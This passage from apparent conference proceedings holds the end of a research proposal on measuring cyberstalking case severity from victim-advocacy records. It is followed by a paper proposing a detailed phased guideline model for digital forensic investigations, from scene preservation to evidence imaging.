Figure 2 illustrates the postulated outcome of a test of this hypothesis, where H1 is represented by the differing slopes of the lines shown.
(a) Main Effects: Intimacy Level
One of the more reliable findings about stalking is that the level of prior intimacy between the partners is a good predictor of violence (Cupach et al. 2004 p135, summarizing 14 other works). Former intimates are much more likely than others to employ aggression against their victim. Purcell et al. (2004) showed that differences based on duration were correlated with the type of relationship, with longer cases associated with stronger psychological effects and greater intimacy. Taking a different perspective, the following hypothesis ignores the time domain and looks only at the reported level of intimacy and its effect on case severity.

H2: Former relationship intimacy level is positively associated with severity.

(b) Main Effects: Anonymity
Not knowing the identity of a stalker is likely to increase the level of fear in the victim. Further, anonymity removes the potential for negative consequences to the stalker, provided the anonymity can be maintained (Connolly et al. 1990). Given the effective ability of CMC to hide true identities, a desire for anonymity on the part of a stalker is likely to influence both their choice of communications media, and the impact on the victim. Further, the more an anonymous stalker knows about a victim, the more severe the impact is likely to be. Such would be the case if a former intimate successfully stalks a victim anonymously. This, if CMC tools can provide effective anonymity, the impact on a case should be to increase severity. This leads to the following hypothesis:

H3: Anonymity is positively associated with case severity.

(c) Main Effects: Context
While we have postulated an interaction between the intensity of a relationship and its use of CMC channels, it is also apparent that there may be significant main effects both on relationships generally and on various types of relationships. These flow directly from the finding of Bargh, McKenna, and colleagues (Bargh 2002; Bargh et al. 2002; McKenna et al. 2002) and others (Kraut et al. 2002; Spears et al. 2002; Thompson et al. 2002; Tyler 2002) showing that Internet usage can have both positive and negative effects. Thus we propose the following tests of the effects of CMC usage on relationships generally, and on specific subsets of relationship types. Each of postulated results of these hypotheses are illustrated in Figure 2 above.

H4: Offline relationships will be more severe than online relationships.
H4A: Offline intimate relationships will be more severe than online intimate relationships.
H4B: Offline not-intimate known relationships will NOT be different from Online not-intimate known relationships.
H4C: Offline unknown relationships will be less severe than online unknown relationships.

3.2 CMC Channel Characteristics
Presuming that the previous postulates hold, a logical follow-up question is what characteristic of CMC tools have the largest impact on the link between CMC usage and case severity. Te’eni, in a significant review, suggests that three characteristics of channels that are likely affect the senders choice of medium (relative to some intended strategy): channel capacity, interactivity, and adaptiveness (Te’eni 2001 p271). Channel capacity in this context is not the raw bit rate, but rather the ability of the channel to support a variety of verbal and non-verbal cues and hints that a perceptive receiver can use to interpret the message content (Te’eni 2001 p271; Kock 2004). Interactivity relates to the ability of the channel to support real-time dialog between the parties (Te’eni 2001). Finally, adaptiveness in Te’eni’s (2001) terms is the ability of a medium to tailor a message for a given recipient. Thus blogs and bulletin boards are less adaptive than a personal email. Te’eni cites only one study of adaptiveness, Adams et al. (1993), suggesting a paucity of research in this area.
While not identical, the distribution mechanism of a message provides a close proxy for adaptability. We tentatively divide this distribution dimension into two halves, public and private, that can also be thought of as sender driven and recipient driven. This division is intended to capture the difference between CMC media that are effectively private (or peer-to-peer), with the sender specifically identifying the recipients, and those that are distributed more widely (e.g. to the public), with the recipient choosing to subscribe to the channel and further choosing to read (or listen to) each message or not.

Table 1: CMC Channel Characteristic Map

<table>
<thead>
<tr>
<th>Distribution: Private</th>
<th>Distribution: Public</th>
</tr>
</thead>
<tbody>
<tr>
<td>Interactive</td>
<td>Interactive</td>
</tr>
<tr>
<td>FTF, Phone, Voice Mail</td>
<td>IM, ICQ, IM, ICQ,</td>
</tr>
<tr>
<td>Video Conf, Webcam</td>
<td>Hacking?, Email,</td>
</tr>
<tr>
<td></td>
<td>SMS, Postal Mail,</td>
</tr>
<tr>
<td></td>
<td>Ecards</td>
</tr>
</tbody>
</table>

Table 1 shows the association of a variety of current CMC tools with these three channel characteristics. Note that there are no known applications that fit the public verbal interactive category, and that our data (discussed below) does not contain any cases that fall into the public verbal delayed category, leaving this research able to explore only the remaining six categories shown. We address each of these three characteristics in turn in the following paragraphs.

(a) Richness

Kock (2004) divides media types into two groups, those that support natural speech (FTF, video, phone) and those that do not (i.e. text-based). We will label this characteristic of the channel as its richness (with apologies to earlier researchers (Daft et al. 1986; Carlson 1995; Zigurs et al. 1998) who suggested a wider range of variability in this domain). We postulate that such a division will have an impact on disjunctive relationships and stalking, and that the direction of the affect will show that use of verbal channels increases case severity. Since the data source we are using for this research provides an opportunity to test this empirically, we propose the following hypothesis:

H5: Use of verbal media in a case will be more severe than cases using only text media.

Figure 3 illustrates the predicted impact of this richness construct on stalking case severity.
(b) Interactivity

Second, we can test the impacts of interactivity, or channel delay, on case severity, by comparing cases that use synchronous or real-time channels versus those that use asynchronous or delayed channels. Dennis and Kinney (1998) tested channel delay as a part of a larger experiment, and found that delayed channels had a more significant impact on less equivocal tasks. We hypothesize that there is a similar correlation between real-time channels and more severe cases of stalking.

H6: Use of interactive media in a case will be more severe than cases using only delayed media.

Figure 44 illustrates the predicted impact of this interactivity construct on stalking case severity.

(c) Distribution

As noted above, distribution reflects the ability of the sender to direct a message to a controlled list of recipients. By assigning each media type into either the public or private domain, we postulate that use of private media types will increase the impact of stalking on victims, leading to the following hypothesis:

H7: Use of Private media in a case will be more severe than cases using only public media.

Figure 5 illustrates the predicted impact of this distribution construct on stalking case severity.
4. METHODOLOGY

4.1 Data Source & Description

We were given 1225 case records summarizing cyber harassment and cyberstalking incidents over the time period from 2001 to 2005 from the records of a harassment victim’s advocacy group, Working to Halt Online Abuse (WHOA) to work with for this study. WHOA regularly works with victims referred by law enforcement agencies otherwise unable to meet the victim’s needs, and in turn refers victims to appropriate law enforcement agencies when a case is sufficiently serious. After the initial coding, 66 cases were not deemed harassment (most were spam problems), and were dropped from the data, leaving 1159 harassment cases. All of the information is self-reported by the victims, as recorded and summarized by WHOA’s volunteer advocates (case workers). Included are case results as noted by the advocate.

The WHOA data records the communications media used for the first harassing message, other media used, other places the victim reported the harassment (e.g. law enforcement), a summary of the case results, and the year the case occurred in. Each case contains some demographic information on the victim’s age, gender, marital status, occupation, race, and state or country of residence. In addition, each case contains some information about the stalker, where known to the victim, including age, gender, and state or country of residence.

4.2 Case Severity – The Dependent Variable

The goal of a stalker is to influence the affective state of the victim, either by persuasion to their point of view, or by threats. We make the assumption, supported by research into classic stalking (Emerson et al. 1998; Cupach et al. 2004; Purcell et al. 2004), that an increase in the number and severity of stalking events translates into an increasing impact on the victim, and, working backward, suggest that severity of the case can be used as a proxy for the impact on the victim. Case severity is the dependent variable for this study. The proposed measure is based on the categories of stalking activities and strategies developed by Spitzberg (2002), augmented with categories suggested by Sheridan et al. (2001b), and on a preliminary review of the limited data recorded in the case summaries provided by WHOA.

The WHOA case data will be used to develop three category scores, based on 1) the actions taken by the stalker, 2) any threats present in the case summary, and 3) on the results noted by the WHOA advocate. These category scores are weighted and summed to provide the overall case score. To implement the proposed approach, each case is scored for the presence of each of specific types of activities, threats, or results, respectively, within each category as described below. Analytical Hierarchy Process (AHP) is used to determine weights within each category and for the category weights (Saaty et al. 2001; Taylor 2004).

5. CONCLUSIONS

To summarize, this research activity has proposed a novel and objective approach to measuring stalking case severity. This measurement process introduces a extension of the analytical hierarchy process that removes much of the subjectivity from the process, leading to an index value for each case that is largely objective. Using this measure of case severity, this analysis proposes looking at a number of factors associated with use of communications media by stalkers.

5.1 Limitations

There are several limitations on the ability to generalize the results from this study. First, the data for this research comes from actual field cases, and was not initially collected by the researchers. Volunteer advocates working for WHOA summarized the cases in order to generate simple statistics for publicity and tracking purposes. There are substantial differences in the quality of the data as
provided by the different advocates, and this is expected to introduce difficulties in coding, most specifically in the variables used to calculate the dependant severity variable.

Second, due to planned coding of the media usage variables in dummy form, there are substantial violations of the assumption of normality required for regression. To compensate, the most conservative tests available will be used for the analysis. Finally, estimation of power for the regression model is also affected by violations of assumptions of homogeneity of error variance. This will require the use of less powerful tests on the effects of some moderating classes, with an associated loss of control over Type II errors. Thus even with the size of this data set, not all moderating effects may be identified with this analysis.

5.2 Areas for Further Research

I have been working with WHOA to improve their data collection techniques, specifically by capturing the victim’s reports into a database. This will allow us to eliminate the errors introduced by the advocates in the current data, and allow access to information that has not been captured in the summaries to date. Access to the victim’s report will allow the exploration of a variety of additional factors associated with cyberstalking, including case duration and better information on the identity and anonymity of the stalker. This will lead to an enhanced analysis of a number of the postulated effects identified in this proposal.

6. REFERENCES


Guideline Model for Digital Forensic Investigation

Salma Abdalla
Information Technology Industry Development Agency (ITIDA)
salma@mcit.gov.eg

Sherif Hazem
Faculty of Engineering, Arab Academy for Science and Technology
Information Technology Industry Development Agency (ITIDA)
Snoureldin@mcit.gov.eg

Sherif Hashem
Faculty of Engineering, Cairo University
Information Technology Industry Development Agency (ITIDA)
SHashem@mcit.gov.eg

ABSTRACT
This paper proposes a detailed guideline model for digital forensics; the proposed model consists of five main phases, Preparation phase, Physical Forensics and Investigation Phase, Digital Forensics Phase, Reporting and Presentation Phase, and Closure Phase.

Most of the existing models in this field do not cover all aspects of digital forensic investigations, as they focus mainly on the processing of digital evidence or on the legal points. Although they gave good information to base on it a guide, but they are not detailed enough to describe fully the investigative process in a way that can be used by investigators during investigation.

In this model detailed steps for each phase is given, so it can be used as guidance for the forensic investigators, and it can assist the development of new investigative tools and techniques.

Keywords: digital forensics, computer forensics, digital investigation, forensic model, reference framework.

1. INTRODUCTION

Digital forensics is the science of acquiring, retrieving, preserving and presenting data that has been processed electronically and stored on digital media. Digital forensic science is a relatively new discipline that has the potential to greatly affect specific types of investigations and prosecutions (Asian School of Cyber Laws 2006; Hall & Wilbon 2005). To be able to perform digital forensics investigation, the organization providing this service must be capable of having the capability means that helps an organization to be prepared to detect and counter cyber crime incidents in a skilled and efficient manner. Such capability is the combination of technically skilled people, policies and techniques to constitute a proactive way for handling cyber crime incidents. The general procedures that should be followed to have these capabilities are and not limited to:

- Provide Proper training for personnel of teams.
- Ensure that personnel are aware of the types of evidence usually encountered and the proper handling of the evidence.
- The lab should be equipped with the proper up to date equipments and forensic tools required for all operating systems and all system files for investigation.

In this paper a comprehensive and complete model is discussed, which proposes detailed steps for each phase, so it can be used as a reference frame work or it can support training of investigators and
tool development.

This model depends on previous existing models as well as physical forensic models so that it can meet the challenges from the nature of electronic evidences to make it admissible in courts. To meet these challenges follow the forensic procedures proposed in this paper in which it can be applied for any case according to but not limited to these five phases these phases, knowing that each phase can change according to the case nature.

These phases are: Preparation phase, Physical Forensics and Investigation phase, Digital Forensics phase, Reporting and Presentation phase and Closure phase.

The rest of the paper is divided into 4 sections. The first section [Section 2] presents previous existing models. Section 3 gives an overview on the proposed phases of this model. Section 4 discusses the detailed proposed digital forensic model with its steps. And the last section [Section 5] is model discussion and conclusion.

2. EXISTING MODELS

The procedures for accomplishing forensics are neither consistent nor standardized. A number of people have attempted to create rudimentary guidelines over the last few years, but they were written with a focus on the details of the technology and without consideration for a generalized process (Association of Chief Police Officers).

There are several models for investigation, most of them restrict themselves in the investigation of the crime scene and evidence and does not represent a detailed steps that can be used in guiding investigators. Some of these models are:


There are several other models that have phases similar to this model, such as the framework from the Digital Forensic Research Workshop Research Roadmap (Palmer 2001) they are not covered here due to their similarity.

In this model few details of the Examination and Analysis phases are given (Carrier 2006) .The analysis phase of this model is improperly defined and ambiguous. It for instance emerges as an interpretation of the results from the examination phase, and in the process confuses analysis with interpretation despite these being two distinct processes (Baryamureeba & Tushabe 2004). At the same time the analysis and examination phases concentrate on computer crime and don’t go though network crimes (Carrier & Spafford 2003).


This model solved some of the problems in the previous model but there are some criticism. The Identification phase should be after the preparation phase, and the team must be ready before any incident, and its third phase [the approach strategy] is to an extent a duplication of its second phase [the preparation phase]. This is because at the time of responding to a notification of the incident, the identification of the appropriate procedure will likely entail the determination of techniques to be used (Baryamureeba & Tushabe 2004).

3. Brian Carrier and Eugene Spafford (Carrier & Spafford 2003) proposed The Integrated Digital Investigation Model that organizes the process into five groups consisting all in all 17 phases. Readiness phases, Deployment phases, Physical Crime Scene Investigation phases, Digital Crime Scene Investigation phases, and Review phase
Although this model is generally a good reflection of the forensic process, it is open to some criticism; for instance it depicts the deployment phase which consists of confirmation of the incident as being independent of the physical and digital investigation phase. In practice however, it seems impossible to confirm a digital or computer crime unless and until some preliminary physical and digital investigation is carried out. Secondly, it does not offer sufficient specificity and does not, for instance, draw a clear distinction between investigations at the victim’s [Digital crime] scene and those at the suspect’s [physical crime] scene. Neither does it reflect the process of arriving at the latter. Since a computer can be used both as a tool and as a victim, it is common for investigations to be carried out at both ends so that accurate reflections are made (Baryamureeba & Tushabe 2004).

4. A Hierarchical, Objectives-Based Framework for the Digital Investigations Process (Beebe & Clarke 2004) is another model that proposed a multi-layer, Hierarchical framework to guide investigators. It has six phases which are: Preparation, Incident Response, Data Collection, Data Analysis, Findings Presentation and Incident Closure.

This model is more detailed than the previous models but it has some points subjected to criticism as; It is not clear if the filtering process required to extract data is simply more general than the filtering that occurs during examination. The survey phase in this model has a clear goal of analyzing the data abstractions and their characteristics (Carrier 2006). The proposed model was not very complete and it only gave second tier or details for analysis phase only, which cannot be used to guide the forensic investigators thought their whole process.

As discussed above most of the previous models in this field do not cover all aspects of cybercrime investigation; they focus mainly on the processing of digital evidence. Although they gave good information to base on it a guide, but they are not detailed enough to describe fully the investigation process in a way that will assist the development of new investigative tools and techniques (Ciardhuain 2004).

3. THE MODEL PHASES OVERVIEW

3.1 Preparation Phase

This is the first stage of incident handling procedures, which must be applied before handling any investigation, the purpose of this phase is make sure that the operation and infrastructure can support the investigation.

Preparation phase is divided into Pre-preparation, Case evaluation, Preparation of detailed design for the case, Preparation of investigation plan and Determination of required resources.

3.2 Physical Forensics and Investigation Phase

The goal of this phase is to collect, preserve, analyze the physical evidences and reconstruct what happened in the crime scene.

Physical forensics and investigation phase can be subdivided into Physical preservation, Preliminary survey on physical scene, Evaluate the physical scene, Initial documentation, photographing and narration, Search and collection of physical evidence and Final survey for physical crime scene.

3.3 Digital Forensics Phase

This phase starts according to the case, as in network attacks it works in parallel with the physical forensics and investigation phase, while in other attacks it can start after it is done. The goal of this phase is to identify and collect the electronic events that occurred on the system and analyze it, so that it can be used with the results of the previous phase to reconstruct events.

Digital forensics phase includes sub phases which are Evaluation and Assessment, Acquisition of digital evidences, Survey the digital scene, Digital Evidence Examination, Reconstruction of extracted data and Conclusion.
3.4 Reporting and Presentation phase

This phase though is based entirely on policy and law of each country, which are different for each setting. This phase presents the conclusions and corresponding evidence from the investigation.

In a corporate investigation, the audience typically includes the general counsel, human resources, and executives. Privacy laws and corporate policies dictate what is presented. In a legal setting, the audience is typically a judge and jury, but lawyers must first evaluate the evidence before it is entered (Carrier 2002).

3.5 Closure Phase

The Closure Phase involves reviewing the whole investigation procedures, examining how well each of the physical and digital investigations worked together, and whether the evidences collected were enough to solve the case, and ensures returning of the physical and digital properties back to its owner.

4. THE PROPOSED DIGITAL FORENSIC GUIDANCE MODEL DETAILS

In this Model details for each sub phase is given in points, so it can be used as guidance for forensic investigators while investigation, and provide an easy way to train them.

4.1 Preparation Phase

4.1.1 Pre-preparation

1. Detect and identify the incident and make risk assessment of vulnerabilities and threats.

2. Discuss the search with involved personnel before arriving at the scene, if possible (Federal Bureau of Investigation 2003).

3. Establish a command headquarters for communication and decision making in major or complicated crime-scene searches (Federal Bureau of Investigation 2003).

4. Make preliminary personnel assignments before arriving at the scene, while the assignments are keeping with the attitude, aptitude, training, and experience of search personnel.

5. Person in Charge must be assigned knowing his responsibilities such as more:

   a. Secure the scene.

   b. Prepare administrative log, and narrative description.

   c. Resolve problems.

   d. Make final decisions.

6. Develop legal activities coordination plan (Federal Bureau of Investigation 2003), obtain a search warrant, if necessary and obtain written and signed permissions from the concerned authorities to proceed.

7. Prepare the paperwork to document the search (Federal Bureau of Investigation 2003).

8. Provide all the needed requirements such as protective clothing, communication, lighting, transportation, equipment, food, etc.
4.1.2 Case Evaluation

1. Initial case assessment: investigators should perform initial assessment about the case by for example: asking questions related to the rule of computer /network in question and evidence related to the case.

2. Identifying the case Requirements: which involves outing details of the case in systematic order such as:
   a. Situation of the case: A case can be violation of company policies by employee or identity theft, etc.
   b. Nature of the case: personal work on employer’s computer or on a whole network or unknown criminal, etc.
   c. Specifies about the case: for example the role of computer or employee in question.
   d. Type of evidence: can be hard disk, floppy, CD, etc.
   e. Operating system used by the suspect if possible.
   f. Knowing disk format: can be FAT16, FAT32, NTFS, EXT3, etc.
   g. The motive of the suspect: try to find motive of the crime and develop a general theory of the crime.

4.1.3 Preparation of Detailed Design for The Case

The general outline to investigate the case, in which detailed steps are prepared taking into account the estimated time, resources and money required to complete each step.

4.1.4 Preparation of Investigation Plan

1. Develop an onsite plan which must include policies, procedures, personnel assignments, and technical requirements.

2. Plan for what to look for during searching.

3. Approach strategy for both evidence collection and preservation.

4. Steps for evidence examination and analysis should be predefined.

4.1.5 Determination of Required Resources

1. Determine kind of software and hardware for investigation according to suspect operating system.

2. Specify tools that are accepted by courts [tested].

3. Accumulate evidence collection and packaging materials and equipment.

4.2 Physical Forensics and Investigation Phase

4.2.1 Physical Preservation

Preservation is an ongoing process through the whole forensic procedures.

1. Take extensive notes all the time and for everything and consider the safety of all personnel (Federal Bureau of Investigation 2003).
2. Secure the physical crime scene:
   a. Follow jurisdictional policy for securing the crime scene. This would include:
      i. Ensuring that all persons are removed from the area in which evidence is to be collected (National Institute of Justice 2001).
      ii. Do not alter the condition of any electronic devices: If it is off, leave it off. If it is on, leave it on (National Institute of Justice 2001).
   b. Take immediate control on the scene by keeping out unauthorized personnel and record who enters and leaves.
3. Determine the extent to which the scene has been protected and get information about who have knowledge about the original condition.
4. Make interviews: (National Institute of Justice 2001)
   a. Separate and identify all persons [witnesses, subjects, or others] at the scene and record their location at time of entry.
   b. Consistent with departmental policy and applicable law, obtain from these individuals information such as:
      i. Owners and/or users of electronic devices found at the scene, as well as passwords, user names, and Internet service provider.
      ii. Any passwords required to access the system, software, or data. [An individual may have multiple passwords, e.g., BIOS, system login, network or ISP, application files, encryption pass phrase, e-mail, access token, or contact list].
      iii. Purpose of the system.
      iv. Any unique security schemes or destructive devices.
      v. Any offsite data storage.
      vi. Any documentation explaining the hardware or software installed on the system.

5. Place labels over all the drive slots and over the power connectors.

4.2.2 Preliminary Survey on Physical Scene
1. Select a narrative technique [written, audio, or video], and start taking preliminary photographs (Federal Bureau of Investigation 2003).
2. Delineate the extent of the search area. Usually expand the initial perimeter (Federal Bureau of Investigation 2003).
3. Identify and protect transient physical evidence.
4. Document physical and environmental conditions of the scene and all personnel movements.
5. Detect any unauthorized activity and then report it to the proper authority. (Beebe & Clark 2004).
6. Identify telephone lines attached to devices such as modems and caller ID boxes, if a telephone connection is present, attempt to identify the telephone number.
7. Document, disconnect and label each telephone line from the wall not from the device.

4.2.3 Evaluate the Physical Scene
1. Validate the incident, assess damage/impact via interviews of technical/business personnel, review of pertinent logs, review of network topology, etc. (Beebe & Clark 2004).
2. Ensure that the collection and packaging materials and equipment are sufficient.
3. Ensure the protection of Non digital evidences such as finger prints.
4. Search the easily accessible areas and progress to out-of-view locations while looking for hidden items.

5. Evaluate whether evidence appears to have been moved or used.

6. Identify the number and type of computers, and determine if a network is present.

7. Prioritize the evidence [e.g., distribution CDs versus user-created CDs].
   a. Location where evidence is found.
   b. Stability of media to be examined (National Institute of Justice 2004).

8. Identify both internal and external storage devices that need to be seized.

9. Determine exactly where each device is physically located and label its location using labels.

10. Identify any application and/or users that are affected by a problem.

11. Determine which devices are on the network and determine which devices connect this network to the internet and systematically search each part of the network for problems.

12. Determine how the devices are configured (Schweitzer 2003).

13. Make a complete evaluation of the crime scene (what was found and its state…).

14. Test the design: The decision made or steps taken should be reviewed. By reviewing the investigator can find out whether these steps are correct or need to be adjusted.

4.2.4 Initial Documentation, Photographing and Narration

1. Nothing is insignificant to record if it catches one's attention (Federal Bureau of Investigation 2003).

2. Initial documentation
   a. Document everything
   b. Observe and document the physical scene, such as the position of the mouse and the location of components relative to each other [e.g., a mouse on the left side of the computer may indicate a left-handed user] (National Institute of Justice 2001).
   c. Document the condition and location of the computer system, including power status of the computer (National Institute of Justice 2001).
   d. Identify and document electronic components that will not be collected.
   e. Take written notes on what appears on the monitor screen (National Institute of Justice 2001).
   f. Active programs may require videotaping or more extensive documentation of monitor screen activity (National Institute of Justice 2001).
   g. Use case management system so that the written data are protected and made available to a database of case information. With the case management system create three log files:
      i. Search and Seizer evidence log that include brief descriptions of all computers, devices or media located during the search for evidence. It should also document the date and time of the investigation, the names of all people who are involved with investigative activities (Wright 2001) and timestamp of the whole processes.
      ii. Lab evidence log that includes: date and time of arrival of the Seized evidence at the lab, a brief description of the evidence, the condition of the evidence upon arrival, name and signature of the investigator checking in the evidence (Wright 2001), then it will include details about the examination processes and who perform it and timestamp for each process.
iii. Collection log file which includes details about collection steps in digital forensic phase and also includes image of the collected data, the checksum or md5 sum of the original and collected data and the investigators details including digital signatures and timestamp.

3. Additional documentation of the system will be performed during the rest of phases. Documentation is an ongoing process through the whole forensic phases. Therefore document each and every step done by the investigator or examiner and document anything that is found.

4. Use photographs and sketches to supplement, not substitute for, the narration (Federal Bureau of Investigation 2003).

5. Do not collect evidence or touch anything during the narration.

6. The narration should include the following: (Federal Bureau of Investigation 2003)
   a. Case identifier.
   b. Date, time and location.
   c. Identity and assignments of personnel.
   d. Condition and position of evidence.

7. Prepare a photographic log that records all photographs, description and location of evidence and then include it in the search and seizer log file.

8. Photograph all stages of the crime-scene investigation, including discoveries (Federal Bureau of Investigation 2003).

9. Photograph the condition of evidence before and after examination.

10. Complete room should be recorded with 360 degrees of coverage, if possible, and photograph the front of the computer as well as the monitor screen and other components. (National Institute of Justice 2001).

4.2.5 Search and Collection of Physical Evidence

According to the case and depending on the initial case evaluation and plan, these steps can change, for example for seizure of the computer itself or leaving it depends on the case, it depends whether the system should be shutdown or not. Taking this decision depends on the case and should be taken with utmost care.

These are general steps for searching for physical evidences such as PCs or other equipments that can be used by the suspect:

1. Start the search and seizure evidence log in the case management system to document all devices state.

2. Search from the general to the specific for evidence and be alert for all evidence makes sure to protect the integrity of the evidence.

3. Wear latex or cotton gloves to avoid leaving fingerprints (Federal Bureau of Investigation 2003).

4. Search entrances and exits, and photograph all items before collection and notate the photographic log, and mark evidence locations on the sketch (Federal Bureau of Investigation 2003).

5. Complete the evidence log with notations for each item of evidence. If possible, have one person serve as evidence custodian (Federal Bureau of Investigation 2003).
6. Two persons should observe evidence in place, during recovery and being marked for identification. Mark directly on the evidence when necessary, but first attempt to place identifying marks on evidence containers (Federal Bureau of Investigation 2003).

7. To avoid damage to potential evidence, remove any floppy disks that are present, package the disk separately, and label the package and do not remove CDs or touch the CD drive (National Institute of Justice 2001).

8. Identify storage devices that need to be seized, these devices can be internal, external, or both.

9. Observe the monitor and determine if it is on, off, or in sleep mode. Then decide which of the following cases applies and follow the steps for that case:
   a. **Case 1**: Monitor is on and desktop is visible.
      i. Photograph screen and record information displayed (National Institute of Justice 2001).
      iii. Photograph and diagram the connections of the computer and the corresponding cables (National Institute of Justice 2001).
      iv. Label all connectors and cable ends (including connections to peripheral devices) to allow for exact reassembly at a later time (National Institute of Justice 2001).
      v. Isolate the network [Depends on the case as mentioned before].
      vi. Perform order of volatility and collect the volatile data that would be lost when the system is turned off and identifying any suspicious processes that are running on the system then follow digital evidence acquisition procedures which will be discussed later in the digital forensic phase.
      vii. Record in notes all actions taken and any changes that observed in the monitor, computer, printer, or other peripherals that result from the performed actions (National Institute of Justice 2001).
      viii. Remove the power source cable from the computer not from the wall outlet [Decision of shutting down the computer depend on the case] and then start packaging procedures.
   b. **Case 2**: Monitor is on and screen is blank [sleep mode] or screen saver [picture] is visible.
      i. Move the mouse slightly [without pushing buttons]. The screen should change and show work product or request a password (National Institute of Justice 2001).
      ii. If mouse movement does not cause a change in the screen, don’t perform any other keystrokes or mouse operations (National Institute of Justice 2001).
      iii. Continue with all the steps of case 1.
   c. **Case 3**: Monitor is off.
      i. Document that the monitor is off, then turn the monitor on, then determine if the monitor status is as described in either case 1 or 2 above and follow those steps.
      ii. If the computer itself is off then start packaging procedures.

10. Packaging procedure:
    a. Ensure that all collected electronic evidence is properly documented, labeled, and inventoried before packaging (National Institute of Justice 2001).
    c. Avoid using materials that can produce static electricity, such as standard plastic bags (National Institute of Justice 2001).
d. Avoid folding, bending, or scratching computer media.

e. Ensure that all containers used to hold evidence are properly labeled (National Institute of Justice 2001).

f. Label each package with a unique label [Association of Chief Police Officers], which must include some details as name of the person and organization that packed the material, the content of package, the place where it is going to be packed and from where it was taken, and the time and date of packing.

11. Transportation procedure:
   a. Keep electronic evidence away from magnetic sources such as radio transmitters.
   b. Don’t store electronic evidence in vehicles for long periods of time as different temperature and weather conditions can damage evidence.
   c. Ensure that computers and other components that are not packaged in containers are secured in the vehicle to avoid shock and excessive vibrations (National Institute of Justice 2001).
   d. Maintain the chain of custody on transported evidence.

12. Storage procedure: Store evidence in a secure area away from temperature and humidity extremes. Protect it from magnetic sources, moisture, dust and other harmful particles or contaminants. (National Institute of Justice 2001).

13. Seal all evidence packages at the crime scene.

14. Identify and document the types and volume of media, including removable media and make sure to document the location from which the media was removed.

15. Constantly check paperwork, packaging and other information for errors.

4.2.6 Final Survey and Reconstruction for physical crime scene

1. Discuss the search with all personnel, then ensure all documentation is correct and complete (Federal Bureau of Investigation 2003).

2. Photograph the scene showing the final condition (Federal Bureau of Investigation 2003).

3. Ensure all evidence is secured, ensure all equipment is retrieved and ensure hiding places or difficult access areas have been fetched (Federal Bureau of Investigation 2003).

4. Analyze any Non digital evidence that can help in the case [as Finger prints, paper, etc.].

5. Reconstruct the events that occurred at the crime scene by using the crime scene appearance, the locations and positions of the physical evidence, the forensic laboratory analysis results, and the scientific method.

4.3 Digital Forensics Phase

4.3.1 Evaluation and Assessment

1. Determine the evidence that was seized.

2. Determine additional information regarding the case as e-mail accounts, e-mail addresses, Internet Service Provider [ISP] used, names, network configuration and users, system logs, passwords, user names.

3. Assess the skill levels of the computer users involved knowing that skilled users can use complex ways to cover their crime.

4. Prioritize the order of evidence examining (Federal Bureau of Investigation 2003).

5. Determine if additional personnel or equipment will be needed.

6. Identify and evaluate storage locations in which the evidences were stored.

7. Identify proprietary software and the operating system in question.

8. Ascertain the condition of the evidence as a result of packaging, transport, or storage (National Institute of Justice 2004).

9. Assess the need to provide continuous electric power to battery-operated devices (National Institute of Justice 2004).
10. Verify operation of the examiner’s computer system to include hardware and software (National Institute of Justice 2004).

4.3.2 Acquisition of digital evidences
Collecting of data can be done on a live system or on a shutdown system.

1. **Life System Case**:
   a. Prepare an order of volatility: An order of volatility should be prepared which ensures the order of collection. The order should be from most volatile to the least. Order of volatility can be:
      i. Registry, cache.
      ii. Routing Table, ARP cache, Process table, Kernel statistics.
      iii. Memory.
      v. Disk.
      vi. Remote logging and monitoring data that is relevant to system in question.
      vii. Physical configuration, network topology.
      viii. Archival media...
   b. Prevent outside interference and prevent execution of programs on a crime scene computer.
   c. Start collection log file and create in it sub-directory to hold the evidence image.
   d. Document the details of the investigation in the log file including investigator details, case background details, investigation dates and investigators digital signatures.
   e. Document details of the disk media including investigator name and organization, case number, media evidence number, date and time imaging was done, name, model and serial number of computer, Internet Protocol [IP] and system host name, make model, and serial number of hard disk [HD], internal storage devices and hardware configuration and scope of investigation.
   f. Capture an accurate image of the system as soon as possible with minimum tampering or change in the system.
   g. Command line tools are preferred than GUI tools and use safe and tested tools.
   h. Collect volatile data present on registry as:
      i. System time and date and running processes.
      ii. Currently open sockets, application listening on open sockets, current users logged on and system currently or recently connected.
   i. Use cash monitoring tools to view real time state cash and document it then dump memory information using tools running from CD and save the result on floppy or another CD.
   j. Use network monitors, system monitors, surveillance cameras for activity monitoring.
   k. Obtain network-based evidence from sources such as intrusion detection systems, routers, firewalls, log servers, etc; make sure that time is synchronized between all logs and systems.
   l. Before imaging use write protectors or write blocker tools to insure the integrity of information gathered from disk.
m. In this case the subject computer will be used to acquire digital evidence, attach the examiner’s evidence storage device [e.g., hard drive, tape drive, CD-RW].
   i. Ensure that the examiner’s storage device is forensically clean when acquiring the evidence (National Institute of Justice 2004).
   ii. Investigate the geometry of any storage devices to ensure that all space is accounted for, including Host protected area [HPA] data and device configuration overlay option [DCO] (National Institute of Justice 2004).
   iii. The examiner should calculate a mathematical value for the subject evidence before acquiring the evidence as performing an independent cyclic redundancy check [CRC] or hashing.

n. Acquire data of the disk by making bit stream copy of the original storage medium[shot], which is an exact duplicate of the original disk and this is also done for all evidence storage medium as HD and floppy disks, which is done by using one of these methods:
   i. Creating a bit stream disk to image file: which is the most common type, as it provide the investigators the ability to make many copies of the digital evidence acquired, and also this image can be used with a lot of applications and other tools to continue the forensic stages.
   ii. Making bit stream disk to disk copy: Used if the investigator is unable to create bit stream disk to image file.

o. Acquire the subject evidence to the examiner’s storage device using the appropriate software and hardware tools, such as: (National Institute of Justice 2004)
   i. Stand-alone duplication software.
   ii. Forensic analysis software suite.
   iii. Dedicated hardware devices.

p. Verify the integrity of the information gathered by making hash values and checksums for both the image and the original data and comparing them.

q. Change the read-write permission of the image to read only.

r. Retrieve configuration information from the suspect’s system through controlled boots (National Institute of Justice 2004).

s. Perform a controlled boot to capture CMOS/BIOS information and test functionality (National Institute of Justice 2004).
   i. Boot sequence [this may mean changing the BIOS to ensure the system boots from the floppy or CD-ROM drive].
   ii. Time and date and then document it.
   iii. Power on passwords.

t. Disconnect storage devices then perform a second controlled boot to test the computer’s functionality and the forensic boot disk (National Institute of Justice 2004).
   i. Ensure the power and data cables are properly connected to the floppy or CDROM drive.
ii. Place the forensic boot disk into the floppy or CD-ROM drive. Boot the computer and ensure the computer will boot from the forensic boot disk.  

u. Reconnect the storage devices and perform a third controlled boot to capture the drive configuration information from the CMOS/BIOS (National Institute of Justice 2004).   

i. Ensure there is a forensic boot disk in the floppy or CD-ROM drive to prevent the computer from accidentally booting from the storage devices.  

